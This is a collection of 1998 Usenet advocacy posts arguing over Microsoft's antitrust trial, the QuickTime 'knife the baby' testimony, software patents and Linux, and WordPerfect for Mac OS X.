References: <36462729.BDFBC1C0@spamtoNull.com> <B26D3D7A-1BDC7@24.94.7.35>
Content-Type: text/plain; charset=us-ascii
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Date: Wed, 11 Nov 1998 17:46:24 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:39:54 GMT
Organization: CWIX
"William V. Campbell Jr." wrote:
>
> Hey Jonathan, we really missed you, *not* We knew all along that your past
> ramblings about Apple and Steve Jobs were not based on any objective facts,
> but fueled by your hatred for any and everything associated with Apple.
Thanks for the warm welcome back...:) So nice to be among friends.
>
> Sad, very sad. Just go and crawl back into your hole and leave this
> newsgroup to poeple who want to learn about the technology. I decree that
> anything that you post for this day on will be looked upon as ramblings of
> a fool.
I am genuinely sorry I can't be the Apple Propaganda King you would no
doubt wish me, saying "Lo, listen with thine ears to what Steve Jobs
hath said, and dwell heavily upon it," but I just can't. My conscience
won't let me...
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 11 Nov 1998 17:59:23 -0600
Organization: Ericsson Inc.
Message-ID: <364A24DB.816DC2CC@exu.ericsson.se>
References: <36462729.BDFBC1C0@spamtoNull.com> <B26D3D7A-1BDC7@24.94.7.35> <364A13C0.4A3634EB@spamtoNull.com>
Mime-Version: 1.0
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Jonathan Harker wrote:
> Thanks for the warm welcome back...:) So nice to be among friends.
Well, welcome back, anyway. A *warm* welcome, if you like :-)
> I am genuinely sorry I can't be the Apple Propaganda King you would no
> doubt wish me, saying "Lo, listen with thine ears to what Steve Jobs
> hath said, and dwell heavily upon it," but I just can't. My conscience
> won't let me...
But it *is* rather fascinating to observe the society in daily
operation, and even, at times, to interact with it (just to test it, for
instance, out of its own element).
Even so, one must be very careful not to interact so as to *change* the
system fundamentally. I hope you don't think you're here to actually
persuade anyone one way or the other; on the one hand it's not likely,
and on the other it's not fair to the rest of us who just want to see it
*work*. I will admit to being guilty of both overexposure and
over-interaction, my apologies for that...
MJP
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 11 Nov 1998 23:04:54 GMT
Organization: AOL http://www.aol.com
References: <3649C384.DEE7E7E1@voy.net>
Message-ID: <19981111180454.26860.00000127@ng58.aol.com>
Well, it's be much easier if Corel had the source code for the NeXT version of
WordPerfect, which was completed in just six weeks by all accounts. (though
they did start with a working Unix version, and it didn't have quite all of the
capabilities of WP 5.1 (halfway between 5.0 and 5.1 I think, tables come to
mind))
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: Wed, 11 Nov 1998 22:56:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72d4mq$gne$1@nnrp1.dejanews.com>
References: <3649C384.DEE7E7E1@voy.net>
winesett@voy.net wrote:
> After reading about the possible death of Wordperfect for the Mac, I
> wondered about the possibility of the Linux version being ported to
> OSX's BSD layer. Is this likely?
If you want to see WP on OSX, it certainly wouldn't hurt to let them know at
the address MacWeek provided. In the interest of facilitating such votes,
here it is: wpmac@corel.ca
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 12:08:09 +1300
Organization: University of Canterbury
Message-ID: <qv6pvathlpi.fsf@physp43.phys.canterbury.ac.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com>
"Karsten M. Self" <kmself@ix.netcom.com> writes:
> Bruce Hayden wrote:
[...]
> To date, IBM has been friendly toward OSS & Linux, and might be seen
True.
> more as a friend than a foe. They've positioned themselves as a service
> company, not strictly HW or SW, and look to be in a position to profit
> by OSS and probably even protect it to an extent with their portfolio.
Apache.
I remember I've read several years ago about a (more or less) highly
ranked IBM official about their relative large patent portfolio.
I was (and probably still is) used to allow for exchanges rather than
not as a primary source of cash. Probably many more companies do the same.
> Which doesn't mean that caution should be thrown to the wind when
> dealing with them, but it's nice to have them on our side.
Again agree.
Cheers,
--
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS/GM d- s+:+ a C++++>$ UL++(+++) P+ L+++ E++ W+(++) N+(++) o K-
w-- O- M- V- PS PE Y+ PGP+(++) t-- 5? X- R tv- b++(+++) DI D-- G
e+++ h--- r+++ y?
------END GEEK CODE BLOCK------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 11 Nov 1998 23:43:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72d7ep$2mk@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <364A1064.72AFE339@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>The way I read you is: It's OK for Apple, Netscape, Sun--whoever--to
>give away software to achieve market dominance (or at least with the
>goal of dominating a market.) But it *isn't* all right for MS to compete
>by doing the very same thing. If that is your point, I agree--I've
>missed it.
The point you missed is that once a company has achieved dominance
in one market, it is not allowed to use the fact of dominance to
achieve dominance in another market.
It doesn't hurt Microsoft shareholders, because they can spin off
another company (like the AT&T - Lucent spin-off) and this other
company can do what it likes. However, it is illegal for Microsoft
to use its OS dominance to try to achieve browser (or office suite)
dominance.
Since Apple, Sun, Netscape, etc. hardly dominate anything, the
application of the rule to them appears to be different.
But, for example, if Apple ever got dominance in multi-media
via Quicktime, it should be illegal for them to try to convert
this into an OS dominance (though how that might work seems
rather far-fetched).
-arun gupta
From: M Simms <hmmm@argh.demon.co.uk>
Newsgroups: comp.os.ms-windows.setup.win3x,comp.os.ms-windows.setup.win95,comp.os.ms-windows.win95.misc,comp.os.ms-windows.win95.setup,comp.os.msdos.misc,comp.os.os2.advocacy,comp.os.os2.misc,comp.os.os2.networking.misc,comp.os.os2.setup.misc,comp.os.vms,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.powerpc.advocacy,comp.sys.sun.admin,comp.unix.admin,comp.unix.advocacy,comp.unix.amiga,comp.unix.aix,comp.unix.aux,comp.unix.bsd.386bsd.misc,comp.unix.bsd.bsdi.misc,comp.unix.bsd.freebsd.misc,comp.unix.bsd.misc,comp.unix.bsd.netbsd.misc,comp.unix.bsd.openbsd.misc,comp.unix.misc
Subject: OS Helper Website
Date: Thu, 12 Nov 1998 00:07:36 +0000
Message-ID: <364A26C8.99198811@argh.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Appologies if this duplicates an earlier post, it seems the last post
didnt make it out. I have attempted to crosspost only to relevant
newsgroups.
I have recently updated my OS counter website to include a section for
helping users with OS-based problems. This feature relies on people with
the knowledge registering on the website to help those that need help.
The site is: http://www.oscounter.org
The system works by allowing someone with a problem to find a helper in
their geographical area, thus if you are in Russia, you can find another
person in your area that may be able to help you. This has the advantage
that you can find someone that speaks your language, or knows your
culture. This may seem like a minor thing when dealing with OS problems,
but it makes understanding a problem and answer a lot easier.
To help, you simply enter your geographical location, and how you can
help people, and an email address. This email address is NEVER given
out, and is never shown to the people needing help, they mail you via a
web-based front-end. Your privacy is guarenteed (OK unless I get hacked,
but thats the same with everything).
If you are looking for help, simply go to the site, and look for a
helper that could maybee answer your questions.
This site is not a for-proffit site. I get the site for free, so I will
provide these pages without banner ads or other stuff. If I have to
start paying to run it, I will obviously need to put a banner or 2 on
there to cover my running costs.
If you voulenteer, thankyou. You are helping to make this resource work.
If you need help, come and see if we can offer what you need. But
please, remember all people who voulenteer to help are just that,
voulenteers, so please, be polite when asking for their assistance.
http://www.oscounter.org
~Michael
ps. Whilst you are there registering or exploring, you may as well fill
in the details on the OS Counter too {:-)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 12 Nov 1998 01:13:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72dcoh$q33@news1.panix.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com>
On Tue, 10 Nov 1998 17:35:36 GMT, Charles Swiger <chuck@codefab.com> wrote:
>And so Microsoft's terminology game continues. The very definition of a beta
>is "preproduction software under testing". Beta software is normally time-
>limited, in order to force the beta to expire and have the user get an updated
>version (which, presumably, will have been made available). Beta testers
>normally receive beta software gratis in return for providing bug reports and
>feedback to the developers.
Well, seeing how they have had no qualms about redefining the word "innovation"
I am not at all surprised that they would try to redefine the term beta.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
Content-Type: text/plain; charset=us-ascii
Message-ID: <F25z88.HII@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Limeyville@spamtoNull.com
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
Mime-Version: 1.0
Date: Mon, 9 Nov 1998 17:00:08 GMT
In <36462729.BDFBC1C0@spamtoNull.com> Jonathan Harker wrote:
> > You need to reread the testimony... Avie mrely repeated.... the quotes
> > "... so you want us to knife the baby? Yes, knife the baby "were made by
> > Apple and M$ reps in the infamous kill Quickitme meetings.
>
> How could you miss the point?
You're claiming HE'S missing the point?
> "Quicktime" is not now nor has ever been a
> large revenue producer for Apple.
Yhis clearly indicates *you're* missing the point. The "point" never had
anything to do with money, it has to do with control. How could you
possibly characterize Apple's revenue of QT to have anything to do with the
issue when the whole trial is over two _free_ pacakges, Netscape and IE?
This trial is about two things, MS attempting to get other companies
involved in market-setting and market-splitting issues, and MS's
strongarming of the market using their monopoly power. The fact that Apple
makes no money off of QT, and that MS wanted to split the market, in fact
supports the point that MS is/was/is-accused-of operating illegally.
MS using it's assumed monopoly powers to take control of markets via
_free_ software. One of these markets is browsers, another is streaming
video. In both cases they offered "deals" to the competition to stay out
of the market, and when the companies in question told them to get stuffed,
they used their monopoly powers to force other companies to favour their
products.
The former is illegal no matter if they are a monopoly AFAIK, the later
is illegal only if it is demonstrated they are a monopoly.
> Apple has *given it away* FREE for years.
Netscape has given *given it away* FREE for years too. Gee, I guess
everyone's so stupid that they missed this critical point, except you!
Since no one's making money on it, clearly there's no issue and they can
just go home, right?
> Whether the "baby" was killed or not would likely have ZERO
> consequence on Apple's bottom line
That's not the point.
> You think MS *didn't know* Apple was giving away Quicktime for amounts
> that didn't even cover its development?
That's not the point either.
> The Avie *slant* was that MS was attempting to coerce Apple into
> "knifing the baby" in order to kill off a "competing" product. You don't
> have to be a bright person to
But apparently you do have to be a bright person to understand that
giving something away for free doesn't mean it's not competing with another
product. For instance Japan could decide that in order to take over the US
market they should really just give their cars away for a few years. This
would make all the US companies go under, and they they could charge what
they wanted. This is illegal. The lower the price the more illegal it is,
it's called dumping.
> real conversation was that MS was saying, tactfully, "You aren't making
> any money with it anyway, so why not throw in your lot with us and let's
> do something jointly that we *both* might benefit from."
Yes, I'm sure that's exactly what it was about, what you read between the
lines rather than what was actually said and recorded in mail.
How foolish we were to actually read the words of the people actually
involved in the situation, rather than simply listening to your version.
No matter that you clearly misrepresent the problem under discussion or
that your story has no backing in statements by either MS or Apple, noooo,
your MS apology is the one we should listen to because everything that
happens is clearly just Apple "whining".
> It's pathetic, really.
Indeed.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org> <72558i$46l$1@samba.rahul.net>
Message-ID: <36473143.0@news.depaul.edu>
Date: 9 Nov 98 18:15:31 GMT
In comp.sys.next.advocacy Rahul Dhesi <c.c.eiftj@47.usenet.us.com> wrote:
> Microsoft might even be vulnerable, if somebody patents something that
> Microsoft is already using in its own software as a trade secret.
> The following, while illegal, could have interesting consequences:
> Programmer reverse-engineers Microsoft software. Finds an unpublished
> idea essential to Microsoft software. Gets patent claiming to be
> inventor.
The problem there is that Microsoft may have already filed a patent
application. If I'm not mistaken, patents aren't announced until
they're approved. Patent applications aren't public knowledge.
The hopeful reverse-engineering could result in nothing but
wasted time and legal expenses.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 02:35:41 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1111982135020001@pm61-36.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> This whole thing reeks of Apple suck-up-whining crap to me. Apple got
> the money and the browser from MS, and the baby wasn't "killed" in the
> process...was it? Or have I missed something?
You missed the part about the $1.2 billion patent infringement suit (which
was the reason for the money from MS), and Apple got the browser because
they had to or worry about Office for Mac being killed.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 02:37:51 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1111982137130001@pm61-36.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu> <rbarris-ya023280000911981416190001@206.82.216.1> <364A1212.A24ABF22@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> THe point still eludes me as Apple is still doing Quicktime as it wishes
> to do it. Is this just a figment of my imagination, or has MS actually
> "killed the baby"?
Nope. But part of Microsoft's threat along the way was that they wanted
Apple to kill QT so it wouldn't compete with Microsoft's multimedia
technologies.
Sort of makes you wonder just how much of Microsoft's tech at that point
was really QT in disguise...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 02:38:12 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1111982137340001@pm61-36.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com> <364A0FCF.C74FA148@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> But as I pointed out, Quicktime is still very much around even though
> the deal with MS was completed long ago.
Different deal. You just got confused.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 13:30:26 -0500
Organization: Styx DTP
Sender: monner@dial04p23.ottawa.storm.ca
Message-ID: <364734BB.EF7719A1@tone.ca>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <3645F05A.E570B374@ieee.org> <3646004a.0@news.depaul.edu>
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Jonathon Hendry said:
<<They could have gone outside and bought something, instead of just
licensing it. Would have saved them tons of money, and would have
helped stunt the growth of the cloners. They never did buy an
OS. Why not?>>
Big reason: IBM never dreamed for a minute that the PC would be such a
success. They were a mainframe company that thought the PC was just a
toy. They tried to put proprietary stuff in tghe second generation of
the hardware but it didn't fly.
Same reason they went through Bill Gates. They had no PC programmers, or
anyone on staff who knew anything about PC's.
Michael
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<html>
<i>Jonathon Hendry said:</i>
<br><i><<They could have gone outside and bought something, instead
of just</i>
<br><i>licensing it. Would have saved them tons of money, and would have</i>
<br><i>helped stunt the growth of the cloners. They never did buy an</i>
<br><i>OS. Why not?>></i><b><i></i></b>
<p><b><i>Big reason: IBM never dreamed for a minute that the PC would be
such a success. They were a mainframe company that thought the PC was just
a toy. They tried to put proprietary stuff in tghe second generation of
the hardware but it didn't fly.</i></b><b><i></i></b>
<p><b><i>Same reason they went through Bill Gates. They had no PC programmers,
or anyone on staff who knew anything about PC's.</i></b><b><i></i></b>
<p><b><i>Michael</i></b></html>
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From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 02:40:34 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1111982139560001@pm61-36.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Please excuse my confusion, here, because folks are acting like
> *something was actually done by Microsoft to kill Quicktime*
Yes. Microsoft made various threats to Apple in order to try and get
Apple to kill QT. it didn't happen, though, for several reasons (which
are coming out almost daily in the MS trial).
> when the
> deal went through and Apple got both its money and its browser and
> Quicktime is still very much around.
Apple got its money because Microsoft had to settle the patent
infringement suit about QuickTime. This happened some time *after* the
"kill the baby" threat. Apple "got the browser" after MS threatened to
kill Office for the Mac.
This is all coming back to haunt MS right now.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Message-ID: <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 09 Nov 1998 11:26:12 -0700
NNTP-Posting-Date: Mon, 09 Nov 1998 11:24:52 PDT
In article <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> >"And what operating system would you care to run it on?" he responded
> >ironically.
>
> Yes, it will.
Really? I didn't know it would run on What OS! Howcome the big news sites
haven't mentioned this? This is such a boon for What OS! It's first
application!
(for the humor impaired, that's a joke. A joke, son, ya get it? A fun, I
say funny, boy! Yer supposed t' laugh! Bright kid ya got here ma'am, but a
little on the slow, I say slow side, ya hear?).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions.
Apply at front desk. All prices subject to change. Universe, the Universe
logo, and all objects contained within are (TM) and (C) Everything
Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 11 Nov 1998 22:41:17 -0600
Organization: Ericsson Inc.
Message-ID: <364A66ED.19E94AF6@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <364A1064.72AFE339@spamtonull.com> <72d7ep$2mk@newsb.netnews.att.com>
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
[cut]
> Since Apple, Sun, Netscape, etc. hardly dominate anything, the
> application of the rule to them appears to be different.
> But, for example, if Apple ever got dominance in multi-media
> via Quicktime, it should be illegal for them to try to convert
> this into an OS dominance (though how that might work seems
> rather far-fetched).
This would've helped a lot in high-school. I knew a lot of athletic,
good-looking guys who had a virtual monopoly on pretty girls. They'd
even double- and triple-up, keeping extra girls on the side. Wasn't fair
at all; there should've been some rule against people with that kind of
dominance taking advantage of it and getting us losers cut from the
varsity soccer team. 'Twas a well-known fact at my high school that
girlfriend-less geeks didn't get positions.
Somebody take the blindfold off the statue of Justice! We know she's
just pretending! Wouldn't want anyone to suffer confusion over it...
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: isthatspam@*spambites**aol.com (John Caravagio)
Subject: Re: a prediction
Organization: The DIS Organization
Message-ID: <isthatspam-0911981445340001@99.chestnut.fcc.net>
References: <727dne$k75@newsb.netnews.att.com>
aE,2>V.`kdX53n;0L;z[Y*]80/iO&<i;24h%Itp9753ciK?c=8KyBp0
Date: Mon, 9 Nov 1998 19:45:34 GMT
In article <727dne$k75@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> Believe it or not, Micron, Dell and HP are among the PC vendors
> who plan to ship PCs with Windows 2000 Beta 3 preloaded !!!
>
> -arun gupta
Woo hoo...*snore*
This is MAC advocacy, Sparky. Who cares what those numbskulls are up to.
Post this _exciting_ news to a more appropriate newsgroup.
_john
--
To reply via e-mail remove "*spambites**" from the return address.
Some men see the glass as half empty.
Bob Dole see's it as a great place for his teeth.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 11 Nov 1998 23:25:42 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811112325423438611@pm2-1-15.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu> <rbarris-ya023280000911981416190001@206.82.216.1> <364A1212.A24ABF22@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> THe point still eludes me as Apple is still doing Quicktime as it wishes
> to do it. Is this just a figment of my imagination, or has MS actually
> "killed the baby"?
Once again... if a mugger attacks you, and you successfully defend
yourself, the mugger is still a criminal.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 11 Nov 1998 23:25:44 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811112325443438729@pm2-1-15.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> This whole thing reeks of Apple suck-up-whining crap to me. Apple got
> the money and the browser from MS, and the baby wasn't "killed" in the
> process...was it? Or have I missed something?
Yes, you've missed everything. MS threatend Apple with its corproate
life. Apple decided to not knuckle under to MS. The threat is illegal.
What dont you see?
--
Remove nojunk from my email address to reply by email.
Message-ID: <364A631E.5A932CAD@ieee.org>
Date: Wed, 11 Nov 1998 21:25:02 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <qv6pvathlpi.fsf@physp43.phys.canterbury.ac.nz>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Ryurick M. Hristev wrote:
>
> I remember I've read several years ago about a (more or less) highly
> ranked IBM official about their relative large patent portfolio.
> I was (and probably still is) used to allow for exchanges rather than
> not as a primary source of cash. Probably many more companies do the same.
Used to be, not any more. Word is that they have a mandate to
get their patent portfolio revenues over a billion in the next
year or so.
IMHO, their attitude about cross-licensing I think really came
out of the perpetual antitrust scrutiny that they were under
for decades, until the early 1980's. But I can tell you from
personal experience that they have gotten significantly more
agressive in asserting their portfolio for money over the last
couple of years.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 09:12:45 +1300
Organization: University of Canterbury
Message-ID: <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com>
"Karsten M. Self" <kmself@ix.netcom.com> writes:
> Bruce Hayden wrote:
> >
> > Jonathan W Hendry wrote:
> >
> > > The problem is it wouldn't just be Microsoft's patents being
> > > violated. If Microsoft goes after Linux for patent violations,
> > > other patent violations would likely be brought to light, and
> > > their holders would join Microsoft in or file their own cases.
> >
> > I think that this is a strawman argument. You are inventing
> > trouble here just to make a point.
[...]
> There's even the possibility that Microsoft could encourage others to do
> its dirty work for it. The Wang v. Netscape "save as" suit this spring
> (dismissed by the court) certainly has a funny smell to it. Microsoft
> acquired a 10% stake in Wang following the companies' own patent
> skirmish. They had announced a strategic partnership earlier this year,
> prior to the filing of the suit. The fact that Wang pursued its suit
> against Netscape and Netscape alone (Microsoft's only significant
> competition in the browser market) don't seem quite cricket.
This is just FUD.
#include <standard_disclaimer.h> // for those who know only legalese
US is notorious for its legal "oddities" (to say the least) like
"software patents" and cryptography, and on its way to become the
laughing stock of the world :-)
At worst the development will move in other countries with better
advised legislators.
In fact the cryptographic programs are already developed outside
(AFAIK in Germany and Italy) and only imported in US.
Remember that Linux was first developed in Finland, not US,
most of GNU tools have been developed years ago and there are many
other programs NOT being developed in US.
This kind of tactics, if applied, may just hurt the US consumer and
nobody else. It will be like a blow into the water, sure it will make
waves for few seconds but the net result will be just a wet blower ;-)
On the final note: I don't think MS have many Unix related "software patents"
and they've managed to piss off too many others. Did anybody have done
any research in this area ?
Don't forget what Mark Twain said once (approximate quote):
"You can fool everybody for some time,
you can fool some people all the time,
but you can't fool everybody all the time."
The way MS conduct their business may be legal but most certainly is
unethical and they forgot the basic economic rule: a business survives
long term only if everybody (including partners/customers) have a
benefit (economics is a game of positive sum).
